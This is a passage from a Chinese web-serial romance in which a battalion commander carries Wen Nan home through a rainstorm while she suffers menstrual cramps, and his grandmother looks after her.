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陈叙放下篓框,把蓑衣递给温南:“你把蓑衣穿着,我身上的凉气过不到你身上。” 温南伸手接过,蓑衣外面都是水,里面却是干爽的,她穿上蓑衣,刚系上蓑衣的带子,脑袋就是一重,然后眼前的亮光暗了一些,耳边响起陈叙的声音:“把斗笠也戴好。” 斗笠很大,戴在头上遮住了大半的视线。 温南双手扶着斗笠,拽住斗笠下的两根线系在下颚处,刚系好带子,眼前倏地出现一抹军绿色的身影,高大健硕的男人背对着她,半蹲在她面前:“上来吧,我背你回去。” 他个子高,即使蹲着也比她低不了多少。 17.第 17 章 温南知道自己的情况,不适合一路走回去,她厚着脸皮向前一步趴在陈叙宽阔的后背,两个胳膊绕在前面抱住陈叙的脖颈,男人身上都被雨淋透了,就算隔着两件衣服还是感觉到了从他身上传递过来的潮湿和凉气,几乎在温南贴过来的那一瞬间,陈叙浑身肌肉都绷紧了,他双手绕到身后掌在温南的膝窝处,背着她站起身。 从小到大,这是陈叙头一次跟女同志距离这么近。 背上的人儿又轻又软,她带着斗笠没办法看着前面,只能面朝他侧着头,呼出的气息都喷在他耳朵下面,热热的,烫呼呼的,就算是冰冷的雨水都盖不住那股烫人的气息。 陈叙耳根红红的。 他有点后悔了,早知道应该让温南坐在篓框里,他背着篓框就行了,哪至于像现在这样,搞的他浑身都不舒坦,就连骨头缝里都跟蚂蚁钻咬的一样。 温南丝毫没察觉出陈叙的不对劲,偏着头面朝男人棱角分明的侧脸,免得斗笠的边缘碰到他的脸。 “哥,我好了。” 陈叙:…… 他的头几不可察的往另一边偏了点,尽量忽略掉耳根下面灼灼的热气,一旁的赵小麦羡慕的看了眼温南,然后把两个篓框一前一后的背在身上,撑开伞说:“陈营长,我们走吧。” 陈叙背着温南走出大树底下,他走的很快,赵小麦跟在身后有点费劲,一会的功夫就落后一大截,陈叙转头看了眼赵小麦,放慢脚步等她追上来,就这样一快一慢的走到了石桥,温南的身子紧紧贴着他的后背,即使隔着蓑衣,他也能感觉到温南身前的柔软。 男人耳根红了个透顶,一直红到脖子根。 他浑身肌肉绷得紧紧的,手臂上的青筋都凸起了,连带着手心都出了一层汗。 下着大雨,家属区的巷道里都没有人影,家家户户的院门都关着,陈叙回到家用脚踢开院门,背着温南刚进屋就看见奶奶从屋里出来,陈奶奶手里拿着一截干净的布条和针线,像是在缝什么物件,她见陈叙浑身都湿透了,脸上都是一道道雨水滚落的痕迹,趴在他背上的温南穿着蓑衣,带着斗笠,看不见她情况咋样了。 陈奶奶催促道:“快快快,把南南背屋里去,你也赶紧换身干净衣服去,别着凉了。” 陈叙说:“我没事。” 他身子骨硬,淋一天一夜的雨都没事。 陈叙背着温南先去屋里了,陈奶奶又看见后面进来的赵小麦,见她身上背着自家的篓框,赶紧招招手:“小麦,把篓框放那快回家吧。”说完又自言自语道:“雨越下越大了,看样子要下到今天晚上了。” 赵小麦把身前的篓框放在屋檐下,正准备把伞也收起来,陈奶奶忙说:“你打着伞回去,等不下雨了再拿回来也行,天挺冷的,你赶紧回吧,你这丫头可别着凉了。” 赵小麦笑道:“我身体好着呢,这离我家就两步路,用不着伞。” 说完把伞合起来靠墙放好,朝着温南的屋子喊了一声:“温南,我先回去了。”又跟陈奶奶摆了摆手:“陈奶奶,我走啦。” 赵小麦背着篓框顶着大雨跑出去了,陈奶奶叫都叫不住。 外面天阴沉沉的,屋里的光线也有些暗。 陈叙把温南放在床边的凳子上,等她坐好了,他才起身:“你有什么事找奶奶,我回屋换衣服。” 温南把头上的斗笠取下来放在腿上,抬头看向已经走到屋门口的陈叙:“大哥,你的衣服我洗干净了再还你,今天谢谢你。” “不用。” 陈叙走到屋门外,没回头,背对着温南说:“衣服我自己洗就行。” 说完就回自己屋里了。 陈奶奶从屋外进来,朝陈叙的屋喊了一句:“小叙,赶紧把湿衣服换了,别着凉了。” 隔壁传来陈叙的声音:“知道了。” 温南解下蓑衣,和斗笠一起放在柜子上,陈奶奶进屋就看见了绑在温南腰上的衣服,是她大孙子陈叙的,她把手里的棉布条递给姜念:“来,这是姨奶给你做的月事布,我那还有几个快做好了,你先用着,姨奶给你端盆热水,你赶紧洗洗。” “谢谢姨奶。” 温南接过月事布,是黑色的布,里面缝着薄棉花,跟新世纪的姨妈巾有些相似。 不过这东西可比不上姨妈巾。 肚子一阵一阵的绞痛,她捂着肚子‘嘶’了一声,将月事布放在床尾,解下腰上的外套搭在床尾,看了眼麻棕色的外套,心里一暖,今天幸好有陈营长帮忙,不然靠她一个人走回来,浑身淋湿不说,裤腿估计都脏的不成样子,搞不好还会落一身病。 等陈奶奶端来热水,温南关上门把自己清洗干净,换上干净衣服,然后把陈奶奶给她做的月事布垫着。 做完这一切,温南躺在床边蜷缩,双手捂着肚子忍着腹痛,外面雨越下越大,屋子里的温度也在下降,她觉得浑身发冷,伸手拽开被子盖在身上,在一阵阵的腹痛中渐渐睡着了。 轰隆的雷声再次响起。 院子已经积满了水,陈奶奶在屋里给温南把月事布做好,出来的时候看见陈叙拿着石头从厨房一直铺到院门口,铺完后又跑到屋檐下拨了拨发根上的水,他换下的干净衣服淋了点雨又有点湿了,陈奶奶说:“你下午还去部队吗?” 陈叙道:“不去了。”

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